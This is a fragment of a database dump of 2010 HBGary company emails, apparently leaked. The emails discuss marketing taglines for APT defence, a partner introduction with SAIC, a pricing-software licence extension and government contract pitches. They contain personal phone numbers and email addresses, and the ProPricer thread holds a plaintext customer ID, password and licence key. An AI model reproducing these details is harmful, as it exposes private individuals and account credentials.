(shawn)\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nDetection that evolves as quickly as the threat.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWords to use: Proactive Detection, Dynamic Detection,\r\nProactive Defense, Dynamic Defense, Enterprise, Advanced Threats, Risk\r\nManagement, Mission Assurance, Assured Security, Threat Detection\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nMy 2 cents is you need a single vision but maybe slightly\r\ntailored to different audiences.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFirst what is the Vision.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nSecond what are your markets.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nThird, what are their hotbuttons in each market (compliance,\r\nintelligence, mission assurance)\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFourth, messaging per environment based on 1-3.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nVision:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nMarkets:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFederal:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nState/Local:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCommercial: (maybe want to break these out further banking,\r\netc) but that might also dilute your messaging.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHotbuttons:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFederal: Intelligence, Mission Assurance, Combating APT,\r\nCIP, protection of sensitive/classified information.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nState/Local: Cost/Compliance,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCommercial: Risk/Compliance, IP\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nI think usecases or summaries of how HBGary products could\r\nbe used effectively in each market segment would be helpful for people to grasp\r\nthe significance quickly.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n1. How can HBGary be used to combat APT better than anyone\r\nelse. &nbsp;How to we protect the mission, provide net defense capability.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n2. &nbsp;How does HBGary benefit compliance, IP protection,\r\nrisk mitigation. &nbsp;how does it save them money.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nMight want to illustrate our benefit with partner\r\nintegration, foundstone, verdasys, fidelis, etc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Apr 11, 2010, at 8:05 PM, Bob Slapnik wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHow this?\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCombat Global Cyber Threats\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&#8220;combat&#8221; is both offense and defense.&nbsp; Implies an&nbsp;\r\nongoing battle.&nbsp; Works for both gov&#8217;t and private sector.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Greg Hoglund\r\n[mailto:greg@hbgary.com]&nbsp;\r\nSent:&nbsp;Sunday, April 11, 2010 2:34 PM\r\nTo:&nbsp;all@hbgary.com;\r\nKaren Burke\r\nSubject:&nbsp;Some New Taglines from Greg\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nTeam,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHere are some taglines I just cooked up.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n#1. Assured Cyber Defense against Global Threats\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n- \'Assured\' means we can deliver where the IDS and AV\r\nvendors have failed.&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n- &quot;Global Threat&quot; is a big-boy way to say APT.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n- &quot;Defense&quot; implies that we have an Enteprise\r\nproduct\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n- &quot;Cyber&quot; has to be present, otherwise you can\'t\r\ntell what kind of threat defense we are addressing\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n- kind of wordy\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n#2. Assured Defense against Global Cyber Threats\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n- &quot;Assured Defense&quot; means we can deliver where IDS\r\nand AV fails\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n- &quot;Assured Defense&quot; implies enterprise product\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n- &quot;Cyber&quot; has to be present, otherwise you can\'t\r\ntell what kind of threat defense we are addressing\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n- &quot;Global Cyber Threats&quot; is not as strong as\r\n&quot;Global Threats&quot; with respect to APT\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n- &quot;Global Cyber Threats&quot; can mean Russian\r\nbank-info stealing malware, where &quot;Global Threats&quot; implies\r\ngovernments and hostile organizations\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n#3. Assured Cyber Defense\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n- \'Assured\' means we can deliver where the IDS and AV\r\nvendors have failed.&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n- Using the word Defense implies Threat.&nbsp;&nbsp;So,\r\nthese two words are interchangable.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n#4. Assurance against Global Cyber Threats\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-&nbsp;&quot;Assurance&quot; implies more of an\r\nongoing&nbsp;partnership, as opposed to a product-focus\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n- doesn\'t come off as wordy, lets us get the big-boy version\r\nof APT in\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n- doesn\'t have the &quot;we are a product company&quot;\r\npunch\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n#4. Cyber Threat Protection\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-&nbsp; Using the word Protection requires additional\r\nclarifying words.&nbsp;&nbsp;Hence, &quot;Cyber Threat&quot;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n- &quot;Protection&quot; absolutely implies product, but not\r\nneccesarily enteprise product\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n- &quot;Protection&quot; can easily be confused with consumer\r\ngrade protection &amp; AV\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n#5. Cyber Threat Defense\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n- Very broad scope, accurate for everything we do\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n- &quot;Defense&quot; implies enterprise product, but could\r\nalso mean incident response services\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n- &quot;Cyber Threat&quot; is not a strong APT equivalent,\r\nand could mean viruses and banking malware\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n- &quot;Cyber Threat&quot; is not strong like &quot;Global\r\nCyber Threat&quot; or &quot;Global Threat&quot;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n#6. Cyber Threat Defense for the Enterprise\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n- &quot;for the Enterprise&quot; brings home the point that\r\nwe offer an Enterprise product\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nSome variations of the above:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAssured Cyber Threat Protection\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAssured Cyber Threat Defense\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCyber Assurance in a Hostile World\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAssured Defense in&nbsp;Hostile Cyberspace\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nNo virus\r\nfound in this incoming message.\r\nChecked by AVG -&nbsp;www.avg.com\r\nVersion: 9.0.801 / Virus Database: 271.1.1/2793 - Release Date: 04/11/10\r\n02:32:00\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nNo virus\r\nfound in this incoming message.\r\nChecked by AVG -&nbsp;www.avg.com\r\nVersion: 9.0.801 / Virus Database: 271.1.1/2793 - Release Date: 04/11/10\r\n14:32:00\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nNo virus\r\nfound in this incoming message.\r\nChecked by AVG - www.avg.com\r\nVersion: 9.0.801 / Virus Database: 271.1.1/2793 - Release Date: 04/12/10\r\n02:32:00\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',1097,'aaron_hbgary_com/1097.html'),(5176,'2010-04-12','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003792.M782565P14101Q31.eml','\"Mulville, Michael E.\" <MICHAEL.E.MULVILLE@saic.com>','Re: Virtual Introduction','Postponed again or did you get news? &nbsp;I have been looking but haven\'t seen anything.AaronOn Apr 5, 2010, at 2:26 PM, Mulville, Michael E. wrote:Aaron – Now looks like April 9th&nbsp;– per NSA&nbsp;&nbsp;&nbsp;r /Mike&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Monday, April 05, 2010 2:19 PMTo:&nbsp;Mulville, Michael E.Subject:&nbsp;Re: Virtual Introduction&nbsp;Hey Mike,&nbsp;Any word?&nbsp;Aaron&nbsp;On Mar 16, 2010, at 9:35 PM, Mulville, Michael E. wrote:Aaron –&nbsp;Announcement slipped til March 31&nbsp;&nbsp;&nbsp;Mike&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Friday, March 12, 2010 4:52 PMTo:&nbsp;Mulville, Michael E.Subject:&nbsp;Re: Virtual Introduction&nbsp;Hey Mike,&nbsp;Just checking in. &nbsp;Last time we talked we didn\'t talk about NANA. &nbsp;If you win are you guys going to need any staffing help?&nbsp;Have a good weekend.&nbsp;Aaron&nbsp;On Jan 26, 2010, at 8:44 AM, Mulville, Michael E. wrote:Aaron –&nbsp;Thanks for the note back.&nbsp; This week is a bit crazy,&nbsp; how about next ?&nbsp;&nbsp;&nbsp;Mike&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Monday, January 25, 2010 11:29 PMTo:&nbsp;Mulville, Michael E.Subject:&nbsp;Re: Virtual Introduction&nbsp;I actually didn\'t head out to DC3. &nbsp;I will be out in Colorado Springs most of next week. &nbsp;How does your week this week look. &nbsp;I am pretty stuck tomorrow and Friday but can do something Wed/Thurs?&nbsp;Aaron&nbsp;&nbsp;On Jan 24, 2010, at 3:26 PM, Mulville, Michael E. wrote:Matt –&nbsp;Thanks for the introduction.&nbsp;Aaron, I’m meeting up with Bob Slapnik shortly to discuss needs, and direction.&nbsp;I assuming your headed out to the DC3 show in St. Louis, but might be a good idea to meet up, upon your return.&nbsp;Thanks – Mike Mulville&nbsp;&nbsp;&nbsp;Mike&nbsp;From:&nbsp;Matt O\'Flynn [mailto:matt@hbgary.com]&nbsp;Sent:&nbsp;Thursday, January 21, 2010 1:50 PMTo:&nbsp;Mulville, Michael E.;&nbsp;michael.p.courtny@saic.com; \'Aaron Barr\'Subject:&nbsp;Virtual Introduction&nbsp;Mike &amp; Michael,&nbsp;Good seeing you yesterday. Please meet Aaron, who is the CEO of HBGary Federal , our subsidiary who is specializing in the services we discussed. See contact info below. Hopefully you will find one another’s capabilities very complementary.&nbsp;Aaron Barr719-510-8478-Cell&nbsp;Mike Mulville703-622-9121&nbsp;Michael Courtny&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;443-306-5683&nbsp;Best,&nbsp;Matt O\'Flynn954-559-6934www.hbgary.com&nbsp;&nbsp;&nbsp;Aaron BarrCEOHBGary Federal Inc.&nbsp;&nbsp;&nbsp;&nbsp;Aaron BarrCEOHBGary Federal Inc.&nbsp;&nbsp;&nbsp;&nbsp;Aaron BarrCEOHBGary Federal Inc.&nbsp;&nbsp;&nbsp;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',13008,'aaron_hbgary_com/13008.html'),(5177,'2010-04-12','\"Maria Lucas\" <maria@hbgary.com>','/aaron@hbgary.com/new/1297003793.M241837P14101Q33.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>,','Re: Some New Taglines from Greg',' \r\nDigital DNA – Defeating Global Cyber Threats With Better Intelligence and Technology \r\nCan we add Digital DNA to the tag line?  \r\nI like the word Defeating because it implies action -- people get stuck on the idea that we only detect\r\nOn Sun, Apr 11, 2010 at 11:33 AM, Greg Hoglund &lt;greg@hbgary.com&gt; wrote:\r\n\r\n \r\nTeam,\r\nHere are some taglines I just cooked up.\r\n \r\n\r\n#1. Assured Cyber Defense against Global Threats\r\n \r\n- &#39;Assured&#39; means we can deliver where the IDS and AV vendors have failed. \r\n- &quot;Global Threat&quot; is a big-boy way to say APT.\r\n- &quot;Defense&quot; implies that we have an Enteprise product\r\n\r\n- &quot;Cyber&quot; has to be present, otherwise you can&#39;t tell what kind of threat defense we are addressing\r\n- kind of wordy\r\n \r\n#2. Assured Defense against Global Cyber Threats\r\n \r\n- &quot;Assured Defense&quot; means we can deliver where IDS and AV fails\r\n- &quot;Assured Defense&quot; implies enterprise product\r\n- &quot;Cyber&quot; has to be present, otherwise you can&#39;t tell what kind of threat defense we are addressing\r\n- &quot;Global Cyber Threats&quot; is not as strong as &quot;Global Threats&quot; with respect to APT\r\n- &quot;Global Cyber Threats&quot; can mean Russian bank-info stealing malware, where &quot;Global Threats&quot; implies governments and hostile organizations\r\n \r\n#3. Assured Cyber Defense\r\n \r\n\r\n- &#39;Assured&#39; means we can deliver where the IDS and AV vendors have failed. \r\n- Using the word Defense implies Threat.  So, these two words are interchangable.\r\n \r\n#4. Assurance against Global Cyber Threats\r\n \r\n\r\n- &quot;Assurance&quot; implies more of an ongoing partnership, as opposed to a product-focus\r\n- doesn&#39;t come off as wordy, lets us get the big-boy version of APT in\r\n- doesn&#39;t have the &quot;we are a product company&quot; punch\r\n \r\n#4. Cyber Threat Protection\r\n \r\n-  Using the word Protection requires additional clarifying words.  Hence, &quot;Cyber Threat&quot;\r\n- &quot;Protection&quot; absolutely implies product, but not neccesarily enteprise product\r\n- &quot;Protection&quot; can easily be confused with consumer grade protection &amp; AV\r\n \r\n#5. Cyber Threat Defense\r\n \r\n- Very broad scope, accurate for everything we do\r\n- &quot;Defense&quot; implies enterprise product, but could also mean incident response services\r\n- &quot;Cyber Threat&quot; is not a strong APT equivalent, and could mean viruses and banking malware\r\n- &quot;Cyber Threat&quot; is not strong like &quot;Global Cyber Threat&quot; or &quot;Global Threat&quot;\r\n \r\n\r\n#6. Cyber Threat Defense for the Enterprise\r\n \r\n- &quot;for the Enterprise&quot; brings home the point that we offer an Enterprise product\r\n \r\nSome variations of the above:\r\n \r\nAssured Cyber Threat Protection\r\nAssured Cyber Threat Defense\r\nCyber Assurance in a Hostile World\r\n\r\nAssured Defense in Hostile Cyberspace\r\n \r\n \r\n -- Maria Lucas, CISSP | Account Executive | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971Website:  www.hbgary.com |email: maria@hbgary.com \r\nhttp://forensicir.blogspot.com/2009/04/responder-pro-review.html\r\n',14483,'aaron_hbgary_com/14483.html'),(5178,'2010-04-12','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297003793.M481625P14101Q34.eml','\"Slapnik Bob\" <bob@hbgary.com>,\"Barr Aaron\" <aaron@hbgary.com>','Fwd: ProPricer Tech Support Call# 57129: Re: Order #102373 	Confirmation','Sweet. Bob, send me your pricing inputs once you have them. TedSent from my iPadBegin forwarded message:\r\nFrom: &quot;ProPricer Support&quot; &lt;support@propricer.com&gt;Date: April 12, 2010 10:02:58 AM MDTTo: &lt;ted@hbgary.com&gt;\r\nSubject: ProPricer Tech Support Call# 57129: Re: Order #102373 Confirmation\r\n\r\n\r\n\r\n***If\r\nreplying to this email, please include the original text to ensure better call\r\ntracking for your issue.***\r\n\r\nTed,\r\n\r\nYou&#39;re\r\nextension key is 740-8579837. Let me know if you need anything else.\r\n\r\nJonathan\r\nShrum\r\nProPricer Technical Support\r\nPH: 951-693-0440\r\nFAX: 951-693-0446\r\n%$%Call_Num:57129%$%\r\n\r\n\r\n\r\n-----Original\r\nMessage-----\r\nFrom: Ted Vera\r\nDate: 4/12/2010 8:18:29 AM\r\n\r\nHi\r\nBrian,\r\n\r\nThings got a bit hectic. I just realized my evaluation period ended\r\ntoday. Is there any chance I can get an extension? Things have been\r\ngoing pretty well, except for the snag that I called you about.\r\nReinstalling seemed to clear it up.\r\n\r\nRegards,\r\nTed\r\n\r\n\r\n\r\nOn Tue, Mar 9, 2010 at 2:18 PM, Brian C Burmeister\r\nwrote:\r\n&gt; Please see email below.\r\n&gt;\r\n&gt; Warm Regards,\r\n&gt;\r\n&gt; Brian C Burmeister\r\n&gt; ProPricer &#39;Industry Proven&#39; Proposal Pricing Software\r\n&gt; Office: 704-367-3402     |    \r\nFax: 704-367-2578     |     Mobile:\r\n&gt; 703-665-0443\r\n&gt;\r\n&gt;\r\n------------&gt;8-------------------------------------------8&lt;---------------------\r\n&gt; NOTE: Your email sent to me may not be responded to immediately.\r\n&gt; During the work week, I do my best to respond within 24 hours,\r\n&gt; however I only check my inbox a few hours of the day.\r\n&gt; If immediate attention requested, please phone.\r\n&gt; ------------&gt;8-------------------------------------------8&lt;---------------------\r\n&gt;\r\n&gt;\r\n&gt; On Tue, Mar 9, 2010 at 3:03 PM, Ted Vera wrote:\r\n&gt;&gt;\r\n&gt;&gt; Can you please send me the .inf file reflecting the Company Name as:\r\n&gt;&gt; HBGary Federal, LLC.\r\n&gt;&gt;\r\n&gt;&gt; Change Name\r\n&gt;&gt;\r\n&gt;&gt; To change the company name, you have to inform EBS that you want to do\r\n&gt;&gt; the change and provide the new name. We will send you an information\r\n&gt;&gt; file (file name extension .inf) carrying the new name. After you\r\n&gt;&gt; receive this file, you can proceed with the change. Click this button\r\n&gt;&gt; to open the Select the file containing the new company name dialog box\r\n&gt;&gt; where you can locate the .inf file carrying the new company name.\r\n&gt;&gt;\r\n&gt;&gt;\r\n&gt;&gt;\r\n&gt;&gt;\r\n&gt;&gt;\r\n&gt;&gt; On Tue, Mar 9, 2010 at 12:18 PM, Alice Jovalusky\r\n&gt;&gt; wrote:\r\n&gt;&gt; &gt; Dear Ted,\r\n&gt;&gt; &gt;\r\n&gt;&gt; &gt; Thank you for your recent order.  Your order has been\r\nprocessed and is\r\n&gt;&gt; &gt; available for download/installation.\r\n&gt;&gt; &gt;\r\n&gt;&gt; &gt; To download the software, do the following:\r\n&gt;&gt; &gt;\r\n&gt;&gt; &gt; 1. Go to https://support.propricer.com\r\n&gt;&gt; &gt; 2.  It will then ask you for a Customer ID and Password.\r\n Your Customer\r\n&gt;&gt; &gt; ID is TVera and your password is V0E7R8A4.\r\n&gt;&gt; &gt; 3.  Select Downloads tab and then the appropriate file.\r\n&gt;&gt; &gt;\r\n&gt;&gt; &gt; If you have any questions at all, please do not hesitate to call\r\n&gt;&gt; &gt; Technical Support at 951-693-0440 or email at\r\nsupport@propricer.com\r\n&gt;&gt; &gt;\r\n&gt;&gt; &gt;\r\n&gt;&gt;\r\n&gt;&gt;\r\n&gt;&gt;\r\n&gt;&gt; --\r\n&gt;&gt; Ted H. Vera\r\n&gt;&gt; President | COO\r\n&gt;&gt; HBGary Federal\r\n&gt;&gt; 719-237-8623\r\n&gt;\r\n&gt;\r\n\r\n\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',11774,'aaron_hbgary_com/11774.html'),(5179,'2010-04-12','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003793.M665P14101Q32.eml','\"Lachow, Irving\" <LachowI@ndu.edu>','Re: Follow up','Morning of the 20th looks good. &nbsp;Just let me know where and time. &nbsp;I will block out the morning.AaronOn Apr 9, 2010, at 9:26 AM, Lachow, Irving wrote:\r\n\r\nAaron,Great to meet you in person.&nbsp; I’m excited about the opportunities that lie ahead.&nbsp; Let’s get together and plan out some proposals that we can pitch to various agencies.&nbsp; I also think that we should put forward one or two ideas for the Defense Acquisition Challenge program.&nbsp; How’s your schedule the morning of the 20th?Cheers,IrvIrving Lachow, Ph.D.ProfessoriCollegeNational Defense UniversityFort Lesley J. McNairWashington, DC 20319Work: (202) 685-2060Cell: (202) 903-7722Email: lachowi@ndu.edu\r\n\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',2126,'aaron_hbgary_com/2126.html'),(5180,'2010-04-12','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297003793.M704097P14101Q35.eml','penny@hbgary.com,\"Barr Aaron\" <aaron@hbgary.com>','TMC','Hi Penny,\r\n\r\nI think $100K is a good entry price for TMC.  TASC has a recompete\r\ncoming up with AF ISR Agency. Do you think we could offer them a 60-90\r\nday evaluation license, if they front the costs of install and setup,\r\nwith the understanding that they bid the software into their proposal\r\nand purchase it if we win? The evaluation period will give them a\r\nchance to prove it\'s worth to the customer and provide a discriminator\r\nfor the proposal. We would also negotiate for one or more positions on\r\nthe effort, as a sub.\r\n\r\nTed\r\n',14522,'aaron_hbgary_com/14522.html'),(5181,'2010-04-12','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297003793.M931375P14101Q36.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Stock Photo Image','Who is this with?\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Monday, April 12, 2010 6:32 AM\r\nTo: Penny Leavy\r\nCc: Greg Hoglund\r\nSubject: Stock Photo Image\r\n\r\nHi Penny,\r\n\r\nDo you guys have a stock photo account.\r\n\r\nDo you already have a copy of the following 